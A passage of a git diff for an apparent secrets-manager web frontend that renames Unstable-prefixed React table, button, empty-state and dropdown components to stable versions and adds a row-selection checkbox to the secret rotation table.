@@ -420,7 +420,7 @@ export const SecretImportTableRow = ({
                   }}
                 >
                   <TrashIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Delete</TooltipContent>
             </Tooltip>
@@ -460,16 +460,16 @@ export const SecretImportTableRow = ({
         return (
           <>
             {renderReplicationEnvSelector()}
-            <UnstableEmpty className="bg-transparent">
-              <UnstableEmptyHeader>
+            <Empty className="bg-transparent">
+              <EmptyHeader>
                 <EmptyMedia variant="icon">
                   {searchFilter ? <SearchIcon /> : <ImportIcon />}
                 </EmptyMedia>
-                <UnstableEmptyTitle>
+                <EmptyTitle>
                   {searchFilter ? "No imported secrets match search" : "No imported secrets found"}
-                </UnstableEmptyTitle>
-              </UnstableEmptyHeader>
-            </UnstableEmpty>
+                </EmptyTitle>
+              </EmptyHeader>
+            </Empty>
           </>
         );
       }
@@ -477,14 +477,14 @@ export const SecretImportTableRow = ({
       return (
         <>
           {renderReplicationEnvSelector()}
-          <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead className="w-1/2">Name</UnstableTableHead>
-                <UnstableTableHead className="w-1/2">Value</UnstableTableHead>
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+          <Table containerClassName="border-none rounded-none bg-transparent">
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-1/2">Name</TableHead>
+                <TableHead className="w-1/2">Value</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {selectedEnvSecrets.map((secret) => (
                 <SecretImportSecretRow
                   key={`import-secret-multi-${effectiveSelectedEnv}-${secret.key}`}
@@ -498,26 +498,26 @@ export const SecretImportTableRow = ({
                   isEmpty={secret.isEmpty}
                 />
               ))}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
         </>
       );
     }
 
     if (filteredImportedSecrets.length === 0) {
       return (
-        <UnstableEmpty className="bg-transparent">
-          <UnstableEmptyHeader>
+        <Empty className="bg-transparent">
+          <EmptyHeader>
             <EmptyMedia variant="icon">
               {matchingImportedSecrets.length ? <SearchIcon /> : <ImportIcon />}
             </EmptyMedia>
-            <UnstableEmptyTitle>
+            <EmptyTitle>
               {matchingImportedSecrets.length
                 ? "No imported secrets match search"
                 : "No imported secrets found"}
-            </UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       );
     }
 
@@ -527,14 +527,14 @@ export const SecretImportTableRow = ({
 
     return (
       <>
-        <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead className="w-1/2">Name</UnstableTableHead>
-              <UnstableTableHead className="w-1/2">Value</UnstableTableHead>
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+        <Table containerClassName="border-none rounded-none bg-transparent">
+          <TableHeader>
+            <TableRow>
+              <TableHead className="w-1/2">Name</TableHead>
+              <TableHead className="w-1/2">Value</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {filteredImportedSecrets.map((secret) => {
               const missingEnvNames = environments
                 .filter(
@@ -554,8 +554,8 @@ export const SecretImportTableRow = ({
                 />
               );
             })}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
         {hasAnyDiscrepancy && (
           <p className="max-w-full text-xs text-wrap text-warning">
             <TriangleAlertIcon className="mr-1.5 mb-0.5 inline-block size-3 shrink-0" />
@@ -571,30 +571,30 @@ export const SecretImportTableRow = ({
   const renderExpandedSecrets = (envSlug: string) => {
     if (filteredImportedSecrets.length === 0) {
       return (
-        <UnstableEmpty className="bg-transparent shadow-none">
-          <UnstableEmptyHeader>
+        <Empty className="bg-transparent shadow-none">
+          <EmptyHeader>
             <EmptyMedia variant="icon">
               {matchingImportedSecrets.length ? <SearchIcon /> : <ImportIcon />}
             </EmptyMedia>
-            <UnstableEmptyTitle>
+            <EmptyTitle>
               {matchingImportedSecrets.length
                 ? "No imported secrets match search"
                 : "No imported secrets found"}
-            </UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       );
     }
 
     return (
-      <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-        <UnstableTableHeader>
-          <UnstableTableRow>
-            <UnstableTableHead className="w-1/2">Name</UnstableTableHead>
-            <UnstableTableHead className="w-1/2">Value</UnstableTableHead>
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+      <Table containerClassName="border-none rounded-none bg-transparent">
+        <TableHeader>
+          <TableRow>
+            <TableHead className="w-1/2">Name</TableHead>
+            <TableHead className="w-1/2">Value</TableHead>
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {filteredImportedSecrets.map((secret) => (
             <SecretImportSecretRow
               key={`import-secret-${envSlug}-${secret.key}`}
@@ -608,19 +608,19 @@ export const SecretImportTableRow = ({
               isEmpty={secret.isEmpty}
             />
           ))}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
     );
   };
 
   return (
     <>
-      <UnstableTableRow
+      <TableRow
         ref={isSingleEnvView ? (sortableRef as React.Ref<HTMLTableRowElement>) : undefined}
         onClick={handleRowClick}
         className={twMerge("group hover:z-10", isDragging && "opacity-50")}
       >
-        <UnstableTableCell
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-0 z-10",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
@@ -645,8 +645,8 @@ export const SecretImportTableRow = ({
           ) : (
             <ImportIcon className="text-import" />
           )}
-        </UnstableTableCell>
-        <UnstableTableCell
+        </TableCell>
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-10 z-10 border-r",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
@@ -714,12 +714,12 @@ export const SecretImportTableRow = ({
               </div>
             )}
           </div>
-        </UnstableTableCell>
+        </TableCell>
         {environments.length > 1 &&
           environments.map(({ slug }, i) => {
             if (isExpanded)
               return (
-                <UnstableTableCell
+                <TableCell
                   key={`import-env-expanded-${slug}`}
                   className="border-b-0 bg-container-hover"
                 />
@@ -734,12 +734,12 @@ export const SecretImportTableRow = ({
               />
             );
           })}
-      </UnstableTableRow>
+      </TableRow>
       {isExpanded &&
         !isAnyDragging &&
         (isSingleEnvView ? (
-          <UnstableTableRow key={`expanded-import-row-${index}`}>
-            <UnstableTableCell colSpan={totalCols} className="bg-card p-0">
+          <TableRow key={`expanded-import-row-${index}`}>
+            <TableCell colSpan={totalCols} className="bg-card p-0">
               <div
                 style={{ minWidth: tableWidth, maxWidth: tableWidth }}
                 className={twMerge(
@@ -749,11 +749,11 @@ export const SecretImportTableRow = ({
               >
                 {renderExpandedSecrets(singleEnvSlug)}
               </div>
-            </UnstableTableCell>
-          </UnstableTableRow>
+            </TableCell>
+          </TableRow>
         ) : (
-          <UnstableTableRow>
-            <UnstableTableCell colSpan={totalCols} className="bg-card p-0">
+          <TableRow>
+            <TableCell colSpan={totalCols} className="bg-card p-0">
               <div
                 style={{ minWidth: tableWidth, maxWidth: tableWidth }}
                 className="sticky left-0 flex flex-col gap-y-4 border-t-2 border-b-1 border-l-1 border-border border-x-project/50 bg-card p-4"
@@ -785,8 +785,8 @@ export const SecretImportTableRow = ({
                 </div>
                 {renderMultiEnvExpandedSecrets()}
               </div>
-            </UnstableTableCell>
-          </UnstableTableRow>
+            </TableCell>
+          </TableRow>
         ))}
     </>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretRotationTableRow/SecretRotationTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretRotationTableRow/SecretRotationTableRow.tsx
index e4e9906c119..ae58f0d9604 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretRotationTableRow/SecretRotationTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretRotationTableRow/SecretRotationTableRow.tsx
@@ -15,16 +15,17 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { SecretRotationV2StatusBadge } from "@app/components/secret-rotations-v2/SecretRotationV2StatusBadge";
 import {
   Badge,
+  Checkbox,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionSecretRotationActions,
@@ -50,6 +51,8 @@ type Props = {
   getSecretRotationByName: (slug: string, name: string) => TSecretRotationV2 | undefined;
   getSecretRotationStatusesByName: (name: string) => (SecretRotationStatus | null)[] | undefined;
   tableWidth: number;
+  isSelected: boolean;
+  onToggleRotationSelect: (name: string) => void;
   onEdit: (secretRotation: TSecretRotationV2) => void;
   onRotate: (secretRotation: TSecretRotationV2) => void;
   onReconcile: (secretRotation: TSecretRotationV2) => void;
@@ -73,6 +76,8 @@ export const SecretRotationTableRow = ({
   tableWidth,
   getSecretRotationByName,
   getSecretRotationStatusesByName,
+  isSelected,
+  onToggleRotationSelect,
   onEdit,
   onRotate,
   onViewGeneratedCredentials,
@@ -118,7 +123,7 @@ export const SecretRotationTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -126,7 +131,7 @@ export const SecretRotationTableRow = ({
                   onClick={() => onViewGeneratedCredentials(secretRotation)}
                 >
                   <AsteriskIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>View Generated Credentials</TooltipContent>
             </Tooltip>
@@ -145,7 +150,7 @@ export const SecretRotationTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -153,7 +158,7 @@ export const SecretRotationTableRow = ({
                   onClick={() => onRotate(secretRotation)}
                 >
                   <RefreshCwIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Rotate Secret</TooltipContent>
             </Tooltip>
@@ -173,7 +178,7 @@ export const SecretRotationTableRow = ({
             {(isAllowed) => (
               <Tooltip>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -181,7 +186,7 @@ export const SecretRotationTableRow = ({
                     onClick={() => onReconcile(secretRotation)}
                   >
                     <HandshakeIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Reconcile Secret</TooltipContent>
               </Tooltip>
@@ -203,7 +208,7 @@ export const SecretRotationTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
@@ -211,7 +216,7 @@ export const SecretRotationTableRow = ({
                   onClick={() => onEdit(secretRotation)}
                 >
                   <EditIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Edit</TooltipContent>
             </Tooltip>
@@ -230,7 +235,7 @@ export const SecretRotationTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
@@ -238,7 +243,7 @@ export const SecretRotationTableRow = ({
                   isDisabled={!isAllowed}
                 >
                   <TrashIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Delete</TooltipContent>
             </Tooltip>
@@ -250,24 +255,44 @@ export const SecretRotationTableRow = ({
 
   return (
     <>
-      <UnstableTableRow
+      <TableRow
         onClick={isSingleEnvView ? undefined : setIsExpanded.toggle}
         className="group hover:z-10"
       >
-        <UnstableTableCell
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-0 z-10",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
             !isSingleEnvView && isExpanded && "border-b-0 bg-container-hover"
           )}
         >
+          <Checkbox
+            variant="project"
+            id={`checkbox-${secretRotationName}`}
+            isChecked={isSelected}
+            onCheckedChange={() => {
+              onToggleRotationSelect(secretRotationName);
+            }}
+            onClick={(e) => {
+              e.stopPropagation();
+            }}
+            className={twMerge("hidden group-hover:flex", isSelected && "flex")}
+          />
           {!isSingleEnvView && isExpanded ? (
-            <ChevronDownIcon />
+            <ChevronDownIcon
+              className={twMerge("block", "group-hover:!hidden", isSelected && "!hidden")}
+            />
           ) : (
-            <RefreshCwIcon className="text-secret-rotation" />
+            <RefreshCwIcon
+              className={twMerge(
+                "block text-secret-rotation",
+                "group-hover:!hidden",
+                isSelected && "!hidden"
+              )}
+            />
           )}
-        </UnstableTableCell>
-        <UnstableTableCell
+        </TableCell>
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-10 z-10 border-r",
             "bg-container transition-colors duration-75 group-hover:bg-container-hover",
@@ -329,10 +354,10 @@ export const SecretRotationTableRow = ({
               )}
             </>
           )}
-        </UnstableTableCell>
+        </TableCell>
         {environments.length > 1 &&
           environments.map(({ slug }, i) => {
-            if (isExpanded) return <UnstableTableCell className="border-b-0 bg-container-hover" />;
+            if (isExpanded) return <TableCell className="border-b-0 bg-container-hover" />;
 
             const isPresent = isSecretRotationInEnv(secretRotationName, slug);
 
@@ -343,22 +368,22 @@ export const SecretRotationTableRow = ({
               />
             );
           })}
-      </UnstableTableRow>
+      </TableRow>
       {!isSingleEnvView && isExpanded && (
-        <UnstableTableRow>
-          <UnstableTableCell colSpan={totalCols} className={`${isExpanded && "bg-card p-0"}`}>
+        <TableRow>
+          <TableCell colSpan={totalCols} className={`${isExpanded && "bg-card p-0"}`}>
             <div
               style={{ minWidth: tableWidth, maxWidth: tableWidth }}
               className="sticky left-0 flex flex-col gap-y-4 border-t-2 border-b-1 border-l-1 border-border border-x-project/50 bg-card p-4"
             >
-              <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead className="w-full">Environment</UnstableTableHead>
-                    <UnstableTableHead />
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+              <Table containerClassName="border-none rounded-none bg-transparent">
+                <TableHeader>
+                  <TableRow>
+                    <TableHead className="w-full">Environment</TableHead>
+                    <TableHead />
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {environments
                     .filter((env) => {
                       const secretRotation = getSecretRotationByName(env.slug, secretRotationName);
@@ -374,8 +399,8 @@ export const SecretRotationTableRow = ({
                       const showReconcileButton = shouldShowReconciliationButton(secretRotation);
 
                       return (
-                        <UnstableTableRow key={slug} className="group relative hover:z-10">
-                          <UnstableTableCell colSpan={2}>
+                        <TableRow key={slug} className="group relative hover:z-10">
+                          <TableCell colSpan={2}>
                             <div className="relative flex w-full flex-wrap items-center">
                               <span>{envName}</span>
                               <Badge variant="neutral" className="mx-2.5">
@@ -408,15 +433,15 @@ export const SecretRotationTableRow = ({
                                 {renderActionButtons(secretRotation)}
                               </div>
                             </div>
-                          </UnstableTableCell>
-                        </UnstableTableRow>
+                          </TableCell>
+                        </TableRow>
                       );
                     })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
             </div>
-          </UnstableTableCell>
-        </UnstableTableRow>
+          </TableCell>
+        </TableRow>
       )}
     </>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchDynamicSecretItem.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchDynamicSecretItem.tsx
index d587d798565..ed7f4581871 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchDynamicSecretItem.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchDynamicSecretItem.tsx
@@ -1,13 +1,7 @@
 import { useNavigate } from "@tanstack/react-router";
 import { ChevronRightIcon, FingerprintIcon } from "lucide-react";
 
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-  UnstableTableCell,
-  UnstableTableRow
-} from "@app/components/v3";
+import { TableCell, TableRow, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
 
 type Props = {
@@ -35,24 +29,24 @@ export const QuickSearchDynamicSecretItem = ({ dynamicSecret, envSlug, onClose }
   };
 
   return (
-    <UnstableTableRow className="group cursor-pointer" onClick={handleNavigate}>
-      <UnstableTableCell>
+    <TableRow className="group cursor-pointer" onClick={handleNavigate}>
+      <TableCell>
         <FingerprintIcon className="text-dynamic-secret" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <span className="truncate font-medium">{dynamicSecret.name}</span>
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <Tooltip delayDuration={1000}>
           <TooltipTrigger asChild>
             <span className="truncate text-foreground">{dynamicSecret.path}</span>
           </TooltipTrigger>
           <TooltipContent className="max-w-lg">{dynamicSecret.path}</TooltipContent>
         </Tooltip>
-      </UnstableTableCell>
-      <UnstableTableCell className="text-right">
+      </TableCell>
+      <TableCell className="text-right">
         <ChevronRightIcon className="ml-auto size-4 text-muted" />
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchFolderItem.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchFolderItem.tsx
index 7831cdd06e2..1ecb86e625c 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchFolderItem.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchFolderItem.tsx
@@ -1,13 +1,7 @@
 import { useNavigate } from "@tanstack/react-router";
 import { ChevronRightIcon, FolderIcon } from "lucide-react";
 
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-  UnstableTableCell,
-  UnstableTableRow
-} from "@app/components/v3";
+import { TableCell, TableRow, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { TSecretFolder } from "@app/hooks/api/secretFolders/types";
 
 type Props = {
@@ -35,24 +29,24 @@ export const QuickSearchFolderItem = ({ folder, envSlug, onClose }: Props) => {
   };
 
   return (
-    <UnstableTableRow className="group cursor-pointer" onClick={handleNavigate}>
-      <UnstableTableCell>
+    <TableRow className="group cursor-pointer" onClick={handleNavigate}>
+      <TableCell>
         <FolderIcon className="text-folder" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <span className="truncate font-medium">{folder.name}</span>
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <Tooltip delayDuration={1000}>
           <TooltipTrigger asChild>
             <span className="truncate text-foreground">{folder.path}</span>
           </TooltipTrigger>
           <TooltipContent className="max-w-lg">{folder.path}</TooltipContent>
         </Tooltip>
-      </UnstableTableCell>
-      <UnstableTableCell className="text-right">
+      </TableCell>
+      <TableCell className="text-right">
         <ChevronRightIcon className="ml-auto size-4 text-muted" />
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchModal.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchModal.tsx
index 48cfe3ef77e..7d40b97942f 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchModal.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchModal.tsx
@@ -9,31 +9,31 @@ import {
 } from "lucide-react";
 
 import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  PageLoader,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetHeader,
   SheetTitle,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePageLoader,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { useDebounce } from "@app/hooks";
 import { useGetProjectSecretsQuickSearch } from "@app/hooks/api/dashboard";
@@ -200,18 +200,18 @@ const Content = ({
   return (
     <div className="flex min-h-0 flex-1 flex-col px-4 pb-4">
       <div className="flex gap-2 border-b border-border pb-4">
-        <UnstableDropdownMenu>
+        <DropdownMenu>
           <Tooltip>
             <TooltipTrigger asChild>
-              <UnstableDropdownMenuTrigger asChild>
-                <UnstableIconButton variant={hasActiveFilters ? "project" : "outline"}>
+              <DropdownMenuTrigger asChild>
+                <IconButton variant={hasActiveFilters ? "project" : "outline"}>
                   <FilterIcon />
-                </UnstableIconButton>
-              </UnstableDropdownMenuTrigger>
+                </IconButton>
+              </DropdownMenuTrigger>
             </TooltipTrigger>
             <TooltipContent>Search Filters</TooltipContent>
           </Tooltip>
-          <UnstableDropdownMenuContent align="start">
+          <DropdownMenuContent align="start">
             <ResourceFilterMenuContent
               resourceTypes={QUICK_SEARCH_RESOURCE_TYPES}
               resourceTypeFilter={showFilter}
@@ -222,8 +222,8 @@ const Content = ({
               onClearTags={handleClearTags}
               menuLabel="Filter By"
             />
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
         <InputGroup className="flex-1">
           <InputGroupAddon>
             <SearchIcon />
@@ -241,16 +241,14 @@ const Content = ({
         {isEnabled ? (
           // eslint-disable-next-line no-nested-ternary
           isPending ? (
-            <UnstablePageLoader />
+            <PageLoader />
           ) : isEmpty ? (
-            <UnstableEmpty className="mt-7 border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>No results match search.</UnstableEmptyTitle>
-                <UnstableEmptyDescription>
-                  Try updating your search filters...
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
-            </UnstableEmpty>
+            <Empty className="mt-7 border">
+              <EmptyHeader>
+                <EmptyTitle>No results match search.</EmptyTitle>
+                <EmptyDescription>Try updating your search filters...</EmptyDescription>
+              </EmptyHeader>
+            </Empty>
           ) : (
             <div className="flex flex-col gap-6">
               {resultsByEnv.map(
@@ -263,16 +261,16 @@ const Content = ({
                 }) => (
                   <div key={env.slug}>
                     <h3 className="mb-2 text-sm font-medium text-foreground">{env.name}</h3>
-                    <UnstableTable>
-                      <UnstableTableHeader>
-                        <UnstableTableRow>
-                          <UnstableTableHead className="w-8" />
-                          <UnstableTableHead>Name</UnstableTableHead>
-                          <UnstableTableHead>Location</UnstableTableHead>
-                          <UnstableTableHead className="w-24" />
-                        </UnstableTableRow>
-                      </UnstableTableHeader>
-                      <UnstableTableBody>
+                    <Table>
+                      <TableHeader>
+                        <TableRow>
+                          <TableHead className="w-8" />
+                          <TableHead>Name</TableHead>
+                          <TableHead>Location</TableHead>
+                          <TableHead className="w-24" />
+                        </TableRow>
+                      </TableHeader>
+                      <TableBody>
                         {envFolders.map((folder) => (
                           <QuickSearchFolderItem
                             key={folder.id}
@@ -307,22 +305,22 @@ const Content = ({
                             onClose={onClose}
                           />
                         ))}
-                      </UnstableTableBody>
-                    </UnstableTable>
+                      </TableBody>
+                    </Table>
                   </div>
                 )
               )}
             </div>
           )
         ) : (
-          <UnstableEmpty className="mt-7 border">
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>Start typing to begin search...</UnstableEmptyTitle>
-              <UnstableEmptyDescription>
+          <Empty className="mt-7 border">
+            <EmptyHeader>
+              <EmptyTitle>Start typing to begin search...</EmptyTitle>
+              <EmptyDescription>
                 Search by resource name, secret metadata or tag...
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+              </EmptyDescription>
+            </EmptyHeader>
+          </Empty>
         )}
       </div>
     </div>
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretItem.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretItem.tsx
index b889c03b95c..669bd836d2d 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretItem.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretItem.tsx
@@ -4,12 +4,12 @@ import { CheckIcon, ChevronRightIcon, CopyIcon, KeyIcon, SearchIcon } from "luci
 import { createNotification } from "@app/components/notifications";
 import {
   Badge,
+  IconButton,
+  TableCell,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { useProject } from "@app/context";
 import { useTimedReset } from "@app/hooks";
@@ -87,22 +87,22 @@ export const QuickSearchSecretItem = ({ secret, envSlug, onClose, tags, search }
     );
 
   return (
-    <UnstableTableRow className="group cursor-pointer" onClick={handleNavigate}>
-      <UnstableTableCell>
+    <TableRow className="group cursor-pointer" onClick={handleNavigate}>
+      <TableCell>
         <KeyIcon className="text-secret" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <span className="truncate font-medium">{secret.key}</span>
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <Tooltip delayDuration={1000}>
           <TooltipTrigger asChild>
             <span className="truncate text-foreground">{secret.path}</span>
           </TooltipTrigger>
           <TooltipContent className="max-w-lg">{secret.path}</TooltipContent>
         </Tooltip>
-      </UnstableTableCell>
-      <UnstableTableCell className="text-right">
+      </TableCell>
+      <TableCell className="text-right">
         <div className="flex items-center justify-end gap-1">
           {tagMatch && (
             <Tooltip>
@@ -128,7 +128,7 @@ export const QuickSearchSecretItem = ({ secret, envSlug, onClose, tags, search }
           )}
           <Tooltip>
             <TooltipTrigger asChild>
-              <UnstableIconButton
+              <IconButton
                 variant="ghost"
                 className="mr-2"
                 size="xs"
@@ -140,7 +140,7 @@ export const QuickSearchSecretItem = ({ secret, envSlug, onClose, tags, search }
                 }}
               >
                 {isUrlCopied ? <CheckIcon /> : <CopyIcon />}
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>
               {secret.secretValueHidden
@@ -150,7 +150,7 @@ export const QuickSearchSecretItem = ({ secret, envSlug, onClose, tags, search }
           </Tooltip>
           <ChevronRightIcon className="size-4 text-muted" />
         </div>
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretRotationItem.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretRotationItem.tsx
index 9853975fa8c..89a7a4502fc 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretRotationItem.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretSearchInput/components/QuickSearchSecretRotationItem.tsx
@@ -1,13 +1,7 @@
 import { useNavigate } from "@tanstack/react-router";
 import { ChevronRightIcon, RefreshCwIcon } from "lucide-react";
 
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-  UnstableTableCell,
-  UnstableTableRow
-} from "@app/components/v3";
+import { TableCell, TableRow, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { TSecretRotationV2 } from "@app/hooks/api/secretRotationsV2";
 
 type Props = {
@@ -35,24 +29,24 @@ export const QuickSearchSecretRotationItem = ({ secretRotation, envSlug, onClose
   };
 
   return (
-    <UnstableTableRow className="group cursor-pointer" onClick={handleNavigate}>
-      <UnstableTableCell>
+    <TableRow className="group cursor-pointer" onClick={handleNavigate}>
+      <TableCell>
         <RefreshCwIcon className="text-secret-rotation" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <span className="truncate font-medium">{secretRotation.name}</span>
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         <Tooltip delayDuration={1000}>
           <TooltipTrigger asChild>
             <span className="truncate text-foreground">{secretRotation.folder.path}</span>
